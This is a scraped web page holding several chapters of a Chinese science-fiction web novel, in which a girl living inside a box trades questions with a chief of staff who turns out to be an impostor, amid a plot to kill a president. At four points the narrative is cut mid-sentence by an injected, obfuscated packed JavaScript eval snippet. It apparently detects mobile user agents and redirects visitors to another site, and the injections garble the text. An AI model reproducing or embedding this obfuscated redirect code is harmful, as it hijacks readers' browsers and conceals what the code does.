这次被抓来，她本想装鹌鹑，安分守己当一个不会说话的盒子，但显然，按照情势她装不了鹌鹑。 她必须抓住机会，好歹让自己占点有利地位。 她说：“回合制，我问完你再问，两方都要保持诚实，也必须对这些信息保密，不然我保持沉默。我先确定先决条件：在我们谈话的时候会有第三方知道吗？” 纪学默坦然道：“我的房间里没有电子设备，我的身上也没有。我确定在我们谈话的时候不会有我这方面的第三方。” 这个房间的设计和纪学默一样老派，摒弃了大多数智能家具，用木质和机械构筑了整个空间。 房间的采光很好，自然光从亚麻窗帘的纹理里透进来。 “你知道些什么？”丛黎问。 这是一个用以括定她接下来可以回答些什么不可以回答些什么的大框架的问题。 纪学默并没有给出简洁直接的回答，而是耐心地展现了他的推理和调查过程。 “由于仿生人的外貌限定，苍术的身份难查。但雇佣兵霜的身份却好查，顺着地下帮派查到尼龙市，然后是最近出事的黎家建筑工地，再提高信息渠道的秘密等级，就能查到黎家的秘密基地里丢了一个盒子。” “莉莉丝对那个仿生人的身份提出疑问，尤其是他口中‘亡妻的骨灰盒’。结合上一条线索，所谓的骨灰盒便是黎家丢的盒子。” “加里提出了结界的疑问，后来他在和叶提星的战斗中被杀。盒子，叶提星，黎家，这三个线索堆叠，不难让人想到十年前的巨鳞事件。” “事情到这里就已明了，盒子就是渡鸦。” “叶提星知道盒子的存在，说明拥有‘复制共生’异能的黎舍之和盒子共生并告知了叶提星。” “这次叶提星等人选择和渡鸦合作，说明情况有了转变。显然，如果盒子里的是原来的渡鸦，她不会原谅凶手，更不会救下叶提星。只有一种可能：盒子里换人了。” 盒子里换人了！ 丛黎本以为他最多推理到“渡鸦”这一条为止，没想到他像打通任督二脉一样直接推理到这一点。 这个人简直恐怖。 不光是情报渠道，洞察力更是让人忌惮。 窗外的天色在暗下去。 纪学默坐在桌边看着盒子：“我回答完了，该我问了：你是谁？” 空无之壁的投影上是他专注看向这里的情形，睫毛黑密，深而又暗的眼睛注视着她。 她定了定神：“丛黎。你和尾迹云组织是什么关系？” “本来我和那个组织没关系，但现在有关系了。” “查出你的事以后，顺藤摸瓜地就找到了尾迹云组织，还顺带知道了他们和黎家的关系。” “我的问题是，你不是这个世界的人吗？” 窗帘里驳杂的光线落在纪学默身上，乌黑的头发和乌黑的眼瞳里阴影交杂。 轻描淡写的语气，似乎整件事真的“好查”、“不难”、“显然”，“顺藤摸瓜”就能牵出这一长串利益链。 在这种人面前，撒谎是徒劳的。 丛黎的脑袋隐隐发疼：“不是。我的问题：你打算怎么办？” 纪学默的双手合拢，若有所思。 半晌，他才回答道：“组织背后的势力、组织的真实目的我都摸清楚了，但这些解释起来很复杂。以后再说。” “我的打算是暂时和组织合作，我会送你去库金利区，配合那个仿生人完成你的任务。不过，在那之前会有几天的空闲，你得和我待在一起。” “你来到这个世界以后，有没有生存条件制约？” 丛黎算是看出来了，在他推理到“盒子里换人了”这个结论时，已经对整体的情况有了一个模糊方向的猜测，现在他在验证他的猜想。 “生存条件制约”，他猜到了可能会有系统和任务这种存在。 更可怕的是，他特意利用了“是否二选一”的句式。 如果她选了“否”，那么她违背了她自己所定的诚实原则。如果她保持沉默，那么系统的存在就是板上钉钉。 “还没遇到。”她用一种不负责任的方式半真半假地道。 她的情报基本都被纪学默查出来了，但是系统和任务，这件事绝对不能让他知道。 但同时她担心他有测谎异能，所以刻意模糊了“还没遇到任务重要节点”和“还没遇到任务”之间的界限。 她问：“你做出以上决定的目的是什么？” 纪学默沉凝了片刻。 他缓缓开口道：“既然你不是这个世界的人，或许我应该多给你解释一点。在这里，各方势力都是差不多的，达成了一种微妙的平衡。现在不是力量的问题，最重要的是心理战。当然，如果有绝对力量的出现，格局就会改变。” “但我的背后没有势力。” 丛黎深感被欺骗：“你看我信吗？” 他无声而笑，眉眼冷淡：“你相信与否，对我来说没有差别。我只是在回答你的问题。我的目的是为自己牵扯上更多利益关系。” “我不可能加入任何势力，但我可以进入那些错综复杂的利益关系中，利用心理战，直到没有人敢动我。换言之，我要自保。” 丛黎被“自保”这个理由触动了一下，随即她立刻意识到不该放松警惕。 纪学默的另一个恐怖之处就在于此，在谈话里无形中让人信任并共情。他知道她在异世界生存的第一法则也是自保，说不定他那些话都是说出来骗她的。 窗帘里照射进来的光线逐渐下移，照在他的黑色西装上，驳领妥帖地静伏着。 他继续问：“你的异能，是高维空间吗？只要回答是或者不是。” 丛黎一瞬间想高维显形冲上去摇晃他的肩问他是不是拿了剧本，顺便把他整个人拎起来抖一抖，把剧本从他身上抖出来。 她按捺住了质问的冲动，却按捺不住显形的冲动。 穿着小熊睡衣的丛黎就这样从盒子里冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546100|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了出去。 “异能是这样，行了吧？”她站在桌边，冷眼看向他。 纪学默看到桌边亦真亦幻的虚影，不动声色地打量了一下：“我只要你回答是或不是。” 和聪明人说话确实不累，但有时候对方太聪明了，反而让她血压飙升。 丛黎忍住痛扁他一顿的冲动，最终还是非常逊地答道：“……是。” 她满心都是憋屈不爽，在问下一个问题前给了自己一点缓冲：“我回去休息一下，过一会再和你回合制问答。” 纪学默礼貌地道：“请便。” 纪学默继续开始翻看文件。 正如他所说的，房间里没有任何电子设备，连用来联系的终端都没有，在四通八达的通讯世界里仿佛荒凉的孤岛。 浅色的亚麻窗帘被窗缝里的风微微吹动，褶皱变幻如流水。 他看文件的速度很快，一目十行地翻动纸页，房间里有一种沉寂而清苦的气味。 丛黎在论坛上搜索“纪学默”“幕僚长”等关键词，抱着可能会找到一点情报的希望。 没有。 丛黎又问亚尔弗。 亚尔弗回答：库金利区幕僚长？纪家，家里的长子，其余没有资料了。 两下都碰壁，看起来果然还是得她自己动手找情报。 “我翻你房间，没问题吧？”她问。 他倒是没反对：“可以。” 她开了一级远景、二级远景、三级远景，在整个房间内外翻来翻去。 虽然翻别人房间很不礼貌，但他不仁她也不义，而且她至少先取得主人同意了。 一个多小时后，纪学默合上纸：“怎么样？继续回合制吗？” 丛黎站在桌边，一手撑着桌面：“不，现在是我单方面询问的时间。你去船上做什么？” 纪学默脸上的表情里多了一点疲惫：“把脑子一热上贼船的弟弟妹妹拎回家。” 丛黎乘胜追击：“你袖子上的扣子去哪里了？” 纪学默的手下意识去摸袖口：“不小心掉在哪里，忘记了。” 丛黎把从沙发下捡来的扣子扔到桌上，浑圆的金属纽扣在桌面上滚了一圈，滚到纪学默面前。 纪学默用手帕把纽扣包了起来，藏进口袋里。 她继续：“你的胃药呢？” 纪学默的脸上仿佛出现了一丝裂缝：“太苦，扔了。” 丛黎：“胃药离奇消失之谜，病情反复，你对医生怎么说的？” 纪学默：“药物无用。” 丛黎：“放在手摇碎纸桶里的纸张上写了什么？” 纪学默：“……写了对议会的提案不满的脏话。” 丛黎紧追不舍：“还有呢？” 纪学默先投降了。 他用手按了一下眉心：“别问了，我要面子。” 丛黎抓住机会，威胁道：“纪学默，以后不要用那种让我不爽的语气跟我说话，我小学生脾气，不知道会做出什么事来的。” 纪学默轻声叹了一口气：“往后我会注意的。” 丛黎回到盒子里，透过空无之壁注视着那个沉肃安静的青年。 由于信息差，纪学默暂时占上风。 但是，真正能制约纪学默的钥匙，她也会找到的。 27. 刺客之跃27 纪学默带着盒子从房间离开。 从高楼的长廊里可以看到月亮很小，像指环一样挂在斑驳的夜空里。 就像踩在由灯光和钢铁构架组成的高跷上，而往上看的时候，浮空岛那片巨大的阴影漂浮在不远处，令人望而生畏。 “这里是联邦最高大厦的顶层，从这里可以看到浮空岛的地面。”纪学默尽职尽责地做起了解说员。 丛黎有点晕高，她转移话题道：“你不是说你背后没有势力吗？怎么在最高大厦顶层有一个办公室？” 纪学默安静地走进玻璃电梯，看着自己的影子急速下坠：“祖父给我的，他是房东。” 丛黎无语：“可恶的富三代，你刚才说的都是假的了？” 玻璃电梯的外侧被不纯粹的夜色涂黑，纪学默身上的黑色西装和外部的夜晚融为一体。 他的眼睛里什么情绪都没有，混沌如渊面，什么也没回答。 纪学默的计划是给组织提供帮助，把盒子带上浮空岛，配合苍术的行动。 换言之，刺杀总统的行动大致不变，变的只有盒子的路径，盒子不需要通过旅游团严苛的安检，大大降低了难度。 “我会把你的行动搭档安排进三天后的旅游团，也就是说你需要在我旁边等待至少三天。” 时间比原定的计划推迟了三天。 距离“刺杀总统”任务再次有了一段缓冲时间。 纪学默踏出玻璃电梯，抬头看向高耸的大楼。 他忽然说：“聪明人会在尽力不惹恼我的情况下为自己争取空间，但我发现，你喜欢反其道而行之。” 丛黎就知道之前她说的那段威胁的话又被他抛到脑后去了。 居高位者大概都有这种弊病，忘性大，偶尔流露出的仁慈像浮萍一样被自傲和权力的洪流裹挟而去。 “我演不了一点低声下气，谢谢理解。”她没好气地回答道。 他微微笑了起来，在灯光模糊的背景下如同古老胶片镜头下的影像。 “某种意义上来说，我们是同类。” …… 往后的三天内，纪学默都寸步不离地带着盒子。 他坐飞船去浮空岛上班，飞船里是一众疲惫的顶级公务员。 在浮空岛，纪学默的办公室里，多了一些电子设备，比如打扫机器人和桌面上提醒休息的宠物兼营养学机器人。 不过他依然处理纸质文件，办公室里安静下来时就只剩纸张沙沙的声音。 丛黎最多只能开到三级远景，她摸排了几次周围的环境就到达调查的极限了。 说实话，不焦虑是不可能的。 浮空岛上环境复杂，守卫森严，联邦总统蒙芙——那个五十多岁的女军人——周围带着两位保镖，目测其中一位是异能者。 丛黎越来越觉得组织的目的不是刺杀总统，而是其他。因为单凭一个仿生人和一个不知深浅的盒子，根本不可能完成任务。 然而，对她来说，“刺杀总统”却是一个必须完成的目标。 系统已经提醒过好几次玩家因为任务失败而死亡的消息了。 但在这天早上，系统的公告是：【恭喜玩家2357完成任务，获得生存道具*反重力降落伞】 【触发世界观公告：特定玩家触发任务后，完成任务后将获得一件珍稀道具。】 她的焦虑顿时到达峰值。 能不能先预支珍稀道具，再去完成任务？——打住，做人（做盒子）不能沉溺于幻想。 纪学默下班了，他打开办公室门，正准备出去，又停下脚步重新关上门。 “你在什么情况下才会死？”他问。 丛黎痛斥道：“你居然在思考这个问题，用心太险恶了！” 纪学默抬起手抵在唇边思考：“十年前他们杀不死渡鸦，说不定是因为普通的手段杀不了另一个维度的人。” “但如果是破维度的异能呢？” “结界？这是创造一个新维度的异能，如果等级高的话，应该也能对你造成伤害。” 丛黎不说话，她必须承认他的猜测是准确的。 她里莎船长之所以忌惮她，就是因为她能对她的生命造成威胁。“维度侵入”就是一种破维度的异能。而叶提星的结界也是克制她的手段之一，也被他说中了。至于黎舍之，他的异能机制太复杂，要拎出来讨论。 纪学默思考完毕，总结道： “那你得小心，浮空岛上的结界异能者有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556199|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个，还有一个异能者和维度有关，是‘领域侵入’。” 丛黎没想到居然还有这种异能者，这简直是专门针对高维人和低维人的克星。 她不合时宜地想到一个在另一个世界里听过的笑话：要学会揣摩出卷老师的意图，明白了，出卷老师的意图就是要学生死。 所以系统给她触发任务的意图就是要她死。 她幽怨又丧气地在盒子里捶空气墙。 纪学默站在窗边，看着外面的天色。 “飞船启航了，我今天回不去了。”他说。 丛黎疑惑问：“回去只有一班飞船吗？” 纪学默：“为了提高资源利用效率，这里的人员每天只有一次机会能来到这里，也只有一次机会能离开这里。” 浮空岛上，天色正在慢慢变暗。 飞船从浮空岛边缘的机场缓缓升空，飞船的小窗格里亮着橘黄色的灯。 浮空岛上，大多数人员都离开了，留下的只有守卫人员和机器人。机器人眼冒蓝光红光绿光，在昏暗的走廊和房间里移动，整个浮空岛上，守卫正在不断增加。 “请加班留守人员留在自己的办公室并按响需求铃，我们会将食物和水送到您面前。” “请加班留守人员留在自己的办公室……” “还有五分钟，全岛即将开始安全排查，请各位人员……” 各处建筑的广播里悠悠地传出机器女音的声音。 有点像放学后空旷而诡异的校园。 傍晚七点半，浮空岛上开始人工降雨程序。 纪学默在办公室里吃着机器人送来的晚餐时，雨点噼噼啪啪地打在玻璃上。 丛黎关上了所有空无之壁的投影，免得顶级公务员的奢华晚餐引诱她。 “很不巧，碰到降雨日了。”纪学默看向窗外。 丛黎：“降雨周期是多久？” 纪学默：“七天。” 正说着话，纪学默微微弯下腰，呼吸变得不均匀起来。 丛黎打开空无之壁的投影：“你怎么了？” 他的脸色有些苍白，手将衬衫捏出些褶皱来，白衬衫裹住的腰腹线条收紧。 “没事……胃疼。”他低声回答道。 28. 刺客之跃28 浮空岛上的人工降雨很快就停了。 围绕在中心区湿漉漉的监控杆像雨后深黑的树枝一样。 纪学默的身体也恢复了，他解开衬衫的一颗扣子，锁骨上都有着细小的汗珠：“我没事。” 丛黎松了一口气：“我还以为你中毒了，还好。” 要是库金利总统区幕僚长纪学默在晚餐时分中毒，她这个来历不明的盒子就彻底变成嫌疑盒了。 在场的第三方只有和她共生的黎舍之，黎舍之自身难保，她根本不指望他作证。 结束晚餐后，纪学默开始继续看他的文件。 丛黎已经彻底对这个工作狂失望了，她开始剥削意识连接中的亚尔弗的劳动力。 “亚尔弗，上次让你查的东西你查到了吗？组织的目的到底是什么？” 【亚尔弗】：没查到，我们又不是手眼通天的幕僚长。 “问题是，为什么纪学默主动和组织合作？为什么你们不拦阻我的行动？”她越思考越焦虑。 【亚尔弗】：我就实话说了我也不是这个团队里的智力担当，我就是一个传话的（摊手）。 “那你让你们的智力担当来回答。” 【黎舍之】：纪学默的目的和他自己所说的一样。 丛黎看向外界的纪学默：“……他真的是为了主动牵扯进利益关系里，用以自保？” 一个火上浇油的搅局者，隐隐有种冷静而丧心病狂的倾向。 【黎舍之】：至于我，阻止下一次高维降临是我唯一的目的，总统的更迭和联邦权力的变更与我无关。 丛黎总结了一下： 组织出于某种目的决定刺杀总统； 纪学默知道组织的目的，为了自保，他选择主动帮助组织刺杀总统。 而她为了完成任务决定刺杀总统； 黎舍之不了解也不关心组织的目的，所以他支持她刺杀总统。 所有人都是为了达成自己的目的。 【亚尔弗】：你不想听有关总统的情报吗？ 她拒绝了：“不必了，我一直把总统当成一个符号，不然我下不了手。” 【亚尔弗】：噢也，好奇妙的思考方式…… 【亚尔弗】：这就是高维人的思考方式吗？天生对低维世界有一种冷漠和抽离感。学到了学到了。 丛黎沉默了一会儿，继续询问关于纪学默的情报：“纪学默呢？为什么明明来自名门，关于他的情报却那么少？” 空无之壁上的回复滞后了片刻。 片刻后，亚尔弗才回答。 【亚尔弗】：真奇怪，你不关心刺杀对象的情报，反而执着于一个走个过场的人。 丛黎：“我只是不理解，他给我的违和感太强烈了。” 好奇心让她脑袋里像住了一只猫一样，把大脑褶皱如同毛线球一样展开又捏拢。 【亚尔弗】：算了，我帮你问问，关于纪家的事。 幕僚长办公室里安静得只有呼吸的声音。 纪学默拧上钢笔帽，颇有分量的钢笔在纸张上压出浅浅的凹痕。 “丛黎。”他忽然出声道。 正在队内语音交流情报的丛黎吓了一跳，连忙把注意力重新放到外界。 “有事吗？”她问。 纪学默看向盒子，漆黑瞳孔里反射的灯光给他增添了几分明亮。 他的声音清冽，语气柔和，但说出来的话却让人不寒而栗：“我只是很好奇，你和你的共生者之间有联系吗？比如在你们中间会有传话的人？或者说，刚才你在和你的队友们交谈？” 窗外的巡逻无人机螺旋翼的声音掠过。 不久之前人工降雨中残留的雨珠从窗户上落下，“哒”。 丛黎没有回答。 这就是为什么她不关心有关总统的情报、反而在意纪学默的原因。 那个名为“总统”的符号还没给她造成影响，但名为“纪学默”的符号却在她的身边，时时刻刻盘剥着她的底细，把她一层层剖开来。 “如果我冒犯了你，很抱歉。”他补充道。 她整理好措辞，回答：“现在已经不是回合制问答的时间了，我没道理满足你的好奇心。” 纪学默没有在意，他笑了一下：“好，接下来我有事要离开片刻，你待在这里会无聊吗？” 丛黎直说：“我会乱翻乱看的。” 他站起身，动作利落地披上外套：“你可以看，没关系，没什么秘密。” 纪学默离开办公室，轻轻碰上了门。 办公室里只剩下丛黎一个盒子和桌面机器人面面相觑。 桌面机器人关着机，圆钝可爱的方脸上两只眼睛黑洞洞的。 丛黎拿走压着文件的钢笔，翻开纸页。 这是一份关于“水下城”的报告副本，由经济规划部提交给议会和总统，幕僚长作为总统的顾问，自然也得到了一份过目。 纪学默不喜欢用人工智能和电子屏幕处理事情，因此给他过目的文件都是纸质版。 整整三百多页的水下城改革规划报告，他在几个小时内圈圈点点地写满了批注，最后在旁边的白纸上列了一页纸的总结。 丛黎看两眼就晕字了。 她倒不是对经济规划部的改革规划感兴趣，她感兴趣的是“浮空岛”和“水下城”的情况。 就她现在所知，浮空岛一直都存在，世界上共有七个浮空岛，其中有两个浮空岛被人类开发了，有一个就是作为核心政治中心的库金利区。 水下城被发现，契机是在浅海探潜的时候，人们检测到了“虚假”的海床，这些海床下赫然是人类全新的生存空间。 纸质文件被翻动的声音窸窸窣窣的。 丛黎忍着学渣掀桌的冲动，耐心地看下去。 联邦现在拥有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565620|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的两座水下城，原来是监狱和垃圾之城。 垃圾扔到海里会污染海洋、祸害海洋生物，于是联邦决定把垃圾扔到海下的海下，顺便让重罪囚犯在刑期内负责分类处理垃圾。 从伪海床入口向水下城倾倒垃圾的周期是七天，倾倒垃圾后的那一天会有一次人工降雨。 改革规划上写的是“改变倾倒垃圾周期，从七天一次改为三天一次，人工降雨周期不变”。 “人工降雨，七天一次。”丛黎觉得这个设定很熟悉。 墙上的时钟不断地往前走。 行动前夕的焦虑和陌生环境带来的不安，让她有点神经紧张。 凌晨四点，纪学默依然没有回到办公室。 “离开片刻”，这就是他口中的“片刻”吗？ 丛黎打开远景，一级，二级，三级，四处搜索。 走廊，洗手间，休息室，都没有人。 她的极限就是三级远景，隔着三层障碍所能见到的一切。 她一无所获，郁闷极了。 窗外的天色在慢慢改变。 她突然记起来，从那扇窗户里可以看到飞船启航的情形。 如果她能从窗户的角度开启远景，说不定能看到更多。 盒子放在桌上，被一叠文件、桌面机器人和一个柜子遮住了。 丛黎把桌面机器人挪开，把文件推开，索性把柜子也搬开，朝向窗户的方向，开启远景。 果然能看到停飞船的机场！ 跑道上的灯光沉睡着，曲折的轨迹绵延，光点微弱。登机桥像触角一样伸向空中，在下一次飞船到来之前它都会像这样折叠起来。 在远景上不断放大，她在飞船机场边看到了一个人影。 果然是失踪半晚上的纪学默。 他穿着黑西装白衬衫，线条清晰，独自坐在机场边的休息台上，在蓝灰色的天色里像洇出的墨水。 她确定显形投放地点，放出高维显形，走到他旁边：“找到你了。” 纪学默抬起头，没有说话，目光定定地停留在她的脸上，双手交握放在身前。 丛黎和他对视了一会儿。 本来她不想摊牌，但她看了那份水下城的报告后，心里的疑问越来越大。 违和感。 猫把毛线团扯得到处都是。 她打破了寂静：“你不是真正的纪学默，是吗？” 在光线不充足的环境里，纪学默的眼瞳几乎是深黑的。 即便如此，她还是觉得当她说完话的时候，他眼中翻滚出几乎压制不住的不明情绪。 接近日出时分，飞船机场上风有点大。 他解开两颗扣子的衬衫里灌进了风而鼓动起来，西装下摆和领带都在飘动着。 他紧盯着她，动了动唇角，露出一个极淡的微笑来： “我杀了他，替代了他，纪家上下都知道。” 29. 刺客之跃29 飞船机场上横扫着猎猎的风。 跑道是羊皮书的质感，周围降到最低一档亮度的灯光像黑眼瞳里反射的微弱光点。 “再来一次回合制问答？”纪学默注视着她。 丛黎拒绝：“你玩上瘾了？” 纪学默现在的目光有点瘆人，古井无波，却有一种深渊的感觉。 丛黎的脑子里过了一百种被杀死的方法，仍然坚持道：“现在是我提问你回答的时间。” 她会找到制约纪学默的钥匙，她必须足够了解他，即使会面临危险。 纪学默没有反对，他像盯着猎物一样盯紧她：“我只有一个前置问题：你是怎么看出来的？” “放心，这里没有监控。” 丛黎就知道跟着脑子灵光的幕僚长不会被监控抓到。 她说：“第一，人工降雨周期。” “我问你浮空岛的降雨周期时，你的回答是七天，但我从那份报告上看到，报告上作为理论参考的浮空岛人工降雨周期是三天。真正七天一次的，是水下城。” 她提出了自己的质疑，既是证据也是质问。 纪学默不动声色地道：“我的确记错了，别忘了，我是连袖扣掉在哪里都不记得的人。” 丛黎继续道：“第二，有关纪学默的情报。” “我从同伴那里了解到，纪家是房地产家族企业，你的‘弟弟妹妹’，关于他们的情报铺天盖地，连小时候尿几次裤子的记录都有，只有关于你的情报寥寥无几。” 纪学默笑了一下：“关于这一点，我必须承认，关于纪学默的情报都是祖父纪晶户动手消除的。” 丛黎察觉到“水下城”是他不愿意提及的话题，但对于他杀人顶替这件事，他觉得没必要隐瞒。 因此他会诚实供述关于他和纪家之间的恩怨。 “真正的纪学默是个蠢货，为了获得一个荣耀而安逸的工作找了我作为代考。” “我帮他考试，获得了库金利区幕僚长的职位，在他未入职前，杀了他。” 丛黎默默点头：这说明考试找代考的枪手有风险。 “纪晶户是个好面子的人，他不可能让这件事传出去，更何况他本来就对家里的蠢货子孙们心有不满，便留下了我为纪家挣门面。” 纪学默提到“祖父”纪晶户的时候，露出了有些微妙的讽刺笑意。 丛黎大致明白了这件事的前因后果： 纪家的蠢蛋大孙子找枪手考试，代考杀了原主，目前拥有实权的家主纪晶户舍不得好不容易拿到手的政界地位，又眼馋他的智商和手段，便提出条件，让这位代考永久地代替原主，作为纪家的“大孙子”为纪家效力。 这样一来，他之前提过“我的背后没有势力”“我要自保”的这个动机居然是真的。 纪晶户看中的是他的手段和幕僚长的地位，试图借他的手在政界安插更多纪家的势力，但有一天他们一定会除掉他这个潜在的危险。血缘所捆绑的利益关系牢不可破，这就是家族企业存在的根基。 “关于我和纪家的事，我说完了。”他坦然道。 丛黎知道他不会回答关于“水下城”的疑问，但她还是得提出来，因为这才是关键。 “第三，你把胃药扔掉，理由是太苦，医生竟然相信了你的话，没有采取后续措施，这很奇怪。” “除非双方都知道，这不是真正的胃部疾病，胃药只是为了欺骗纪家而开出的处方。” 纪学默眼中的神色冷了一些：“并非真正的胃部疾病？你刚才没有亲眼见证吗？” 果然，他一旦遇到和这件事有关的话题，就无法冷静。 丛黎更加确定自己的猜测：“你的胃疼只是心理疾病而已。” “我猜你来自水下城，小时候经常饿得肚子疼，对人工降雨有PTSD，因为每次倾倒垃圾后都会有一次人工降雨。所以即使是现在，你也会偶尔感到‘胃疼’。你不愿意被别人看出这一点，决定将计就计，营造一个自己有胃病的假象。” 纪学默的领带被风吹起，扬在他的脸颊侧边，像锋利的刀刃，他眼中所有情绪反而在瞬间消失了，像无尽的永夜。 他站起身来，和她面对面，黑发下的眉眼毫不掩饰地散发着锐气。 “你可以继续说。”他语气平静，仿佛什么都没有发生。 丛黎决定正式贴脸开大：“好。” “你不喜欢人工智能和电子机械，不喜欢机械植入体和现代化武器，这些习惯都是在水下城生活时养成的习惯。” “你会答错降雨周期，是因为刚巧遇到浮空岛的人工降雨，你的老毛病犯了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573890|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“今天处理的那份报告刚好和你的故乡有关，官僚们对水下城的高傲和恶意显露无疑，所以你无法控制自己的情绪，出来冷静冷静，所以你才会在飞船机场像傻子一样待上一晚上。” 她毫无畏惧地和他对视。 “在你问我破维度异能和结界能不能杀我的时候，你就已经想好了对付我的手段。” “你知道无论你同不同意，我都有能力翻你的房间，那么我就会知道很多关于你的琐碎细节。不仅是我知道，而且黎舍之也知道了。所以，无论刺杀总统的任务成功与否，你都会在后续除掉我，借助那些异能者的手。” “虽然把我带在身边的举措冒险了一点，但这一局你可以顺势和总统背后的势力，黎家，尾迹云组织，黎舍之那边的势力这四方都牵扯上利益关系，绝对不是亏本买卖。” “不过牺牲品是我而已。既然都是死，我不如死得明白一点，索性知道你的所有秘密，这样我手上也有你的把柄了。” “你丝毫不遮掩自己和纪家的恩怨，却对水下城这件事颇为在乎，因为来自水下城的人，永远不能在任何政府机构工作——这就是让任何人都能除掉你的绝对力量。” 一口气说完这些，丛黎已经做好了抵挡让人心头发凉的恶意。 没想到眼前的青年反而褪去了一身的恶意，眼神干净，甚至有些迷茫。 他抬起手，小心翼翼地触碰她的影子，手指划破虚影，认真地道：“我触碰不到你。” 丛黎呆了一下，被他突然露出的孩子气和纯净气质搞懵了。 她隔着衬衫袖子抓住他的手腕：“我能触碰到你，触摸游戏结束了，总之你先给我个表态。” 他低下眼帘，看着她抓着他的手，眼睫一动，露出笑意。 “因为我的父亲头发不会变白，到老都是乌黑的，所以在我的家乡，他们给我的名字是小黑。” 丛黎再次发懵：不是，我们在这里生死心理战呢，怎么忽然来过家家？莫不是演技太过高明？ “我不知道你对我做了什么，但我现在心跳很快，没头没脑地开始感到兴奋和喜悦。” “我的表态是，我不会对你动手，直到我知道你对我做了什么。” 他抬起眼看她，眼中是近乎纯粹的锋芒毕露的黑，语气是一如既往的平静。 30. 刺客之跃30 天亮了，飞船机场上空无一人。 在早晨的那班飞船到来前，机器人开始执行检查，伸开检测天线移动的样子像叼着树枝的小狗满机场跑。 纪学默从侧边道上走过，一路上收到了好些来自机器人同僚的“早上好”。 他的心情不错，一个个回复过去：“早上好。” 回到办公室，桌上的盒子安静平稳，只是周围的柜子、文件都被挪了地方。 纪学默看了一眼，默默把东西放回了原地方。 早上七点，送早餐的机器人准时到来。 早上八点，飞船载着哈欠连天的公务员们来到浮空岛上。 早上八点半，纪学默把盒子揣进兜里。 盒子里的丛黎从休息的状态醒来：“……上班了，我们现在去干什么？” 关于纪学默的身份，她思考了一个晚上，更让她心神不定的是纪学默的反应，简直太不正常了。她根本搞不清楚他在想什么。 种种因素交杂下，她的精力值下降到一个前所未有的低值，从机场回来后她睡了一个早上。 在纪学默身上已经完全看不出不久之前阴鸷的气质了，他整理了一下领带： “带你去见见你的对手们。” “当我把手伸进口袋里，在盒子上敲三下，那就证明眼前的人会是阻挠你计划的敌人。我会利用我的终端单方面给你介绍，反正你看得到我在备忘录上写的字，是吗？” 丛黎有理由怀疑他是在报复。正常来说，提前了解对手确实是有必要的。 但是，鉴于今天早上纪学默的古怪表现，她决定抱一点警惕心。 纪学默离开办公室，去了浮空岛商业中心“云端”大楼。 作为岛上唯一的十二层高楼，“云端”建筑体是不规则的多边形，太阳照射在楼体切割面的特殊光带上时，几何的美感体现得淋漓尽致。 电子显示屏上播放着广告、政府公告、由官方机构出品的一些并不好笑的笑话。 来这里的除了在浮空岛上工作的公务员们，还有每五天一次来到岛上观光的旅游团。和游客们不一样，政客们有自己的特殊权限可以进入某些区域。 纪学默在“云端”大楼八楼的咖啡厅里坐了一会儿，喝完一杯咖啡。 他把手伸进口袋里，曲起手指，在盒面上敲了三下。 “这是你的头号对手。” 根据刚才定好的暗号，现在出现在眼前的是她的对手。 丛黎打起精神，从空无之壁看出去。 一个年轻人坐在靠窗的位置，他有一头引人注目的银色头发，侧脸线条流畅漂亮，神色却透着一股冷劲。 他穿着黑色高领，碎发下右耳上的菱形耳坠在黑和银的映衬下格外显然。 棒球帽放在桌上，他手边有一份正在撰写中的乐谱。 他一边喝咖啡一边在乐谱上填下音符，神色平淡，仿佛那是随手的涂鸦。 “希琼，云端交响团指挥家。” “异能是‘交响曲’。” 纪学默在终端备忘录上写道。写完后片刻，他便删掉了备忘录上的文字。 丛黎陷入困惑。 异能是“交响曲”？这是什么？为什么会是她的头号对手？ 纪学默却没有继续解释细节，他从座位上起身，在咖啡厅门口刷卡结账，坐光管电梯下楼，离开“云端”大楼。 随后，他去了浮空岛边缘的观景台。 